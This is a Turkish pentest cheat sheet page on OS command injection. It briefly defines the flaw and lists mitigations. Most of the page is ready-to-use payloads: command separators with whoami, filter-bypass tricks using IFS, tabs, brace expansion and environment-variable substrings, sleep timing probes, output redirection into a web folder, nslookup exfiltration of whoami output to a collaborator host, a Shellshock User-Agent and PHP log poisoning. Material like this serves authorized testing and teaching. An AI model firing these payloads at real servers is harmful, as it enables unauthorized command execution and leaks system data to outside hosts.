OS Command Injection
OS Command Injection Nedir?
OS Command Injection, bir saldırganın bir uygulamayı çalıştıran sunucuda işletim sistemi komutlarını yürütmesine olanak tanır.
Genellikle saldırgan, hosting altyapısının diğer bölümlerine saldırmak için bu zafiyetinden yararlanır ve saldırıyı kuruluş içindeki diğer sistemlere yayar.

Yöntemler
Ozel Karakterler ile Komut Eklemeye Çalışma
Aşağıdaki özel karakterleri parametrelerin sonuna eklemeyi deneyebiliriz.
&&whoami
&whoami
|whoami
||whoami
;whoami
"&&whoami"
%0awhoami
`whoami`
$(whoami)
'; whoami #
"; whoami #
0x0awhoami
\nwhoamiBlacklist Bypass
;w"h"o"am"i
;who$@ami
;who^ami
# Boşluk yasak ise IFS yerine geçer
;uname${IFS}-a
# Tab Karakteri de boşluk yerine geçer
;uname%09-a
# Boşluk olmadan
;{uname,-a}
# Noktalı virgün (;) yerine geçer
${LS_COLORS:10:1}whoami
# (/) yerine geçer
;ls ${PATH:0:1}
Timeout ile Injection
Eğer istek sonucu bir yanıt almıyorsak aşağıdaki payloadları deneyebiliriz. Eğer yanıt gecikmeli geliyorsa zafiyet olabilir.
;sleep 10Çıktı Yönlendirme
Eğer zafiyet olduğunu biliyorsak ve komutun çıktısını okumak istiyorsak komutun çıktısını bir dosyaya yazabiliriz.
;whoami > /var/www/images/whoami.txtDNS İsteği
Eğer yanıtta bir çıktı almıyorsak kendimize dns isteği atmayı deneyebiliriz.
;nslookup x.COLLABORATOR
;nslookup `whoami`.COLLABORATORPing Atma
# Linux
;ping <IP> -c 5
tcpdump -i eth0 icmp
# Windows
;ping <IP> -n 5Shellshock Useragent
User-Agent: () { :;}; whoamiPHP Log Poisoning
User-Agent: <?php system('whoami') ?>Önlemler
Hiçbir zaman uygulama üzerinden işletim sistemi komutu çağrılmamalıdır. Bu tür işlemler için API kullanılarak işlemler yapılmalı.
Eğer kesin komut çağırmamız gerekiyorsa, girdi üzerinde whitelisting yapılmalı, örneğin sayı değilse isteği reddet gibi.
İşletim sistemindeki özel karakterler blackliste alınabilir fakat bu sağlıklı bir yöntem değildir saldırgan önlemi atlatmak için farklı yollar bulabilir.
Araçlar
Kaynaklar
Last updated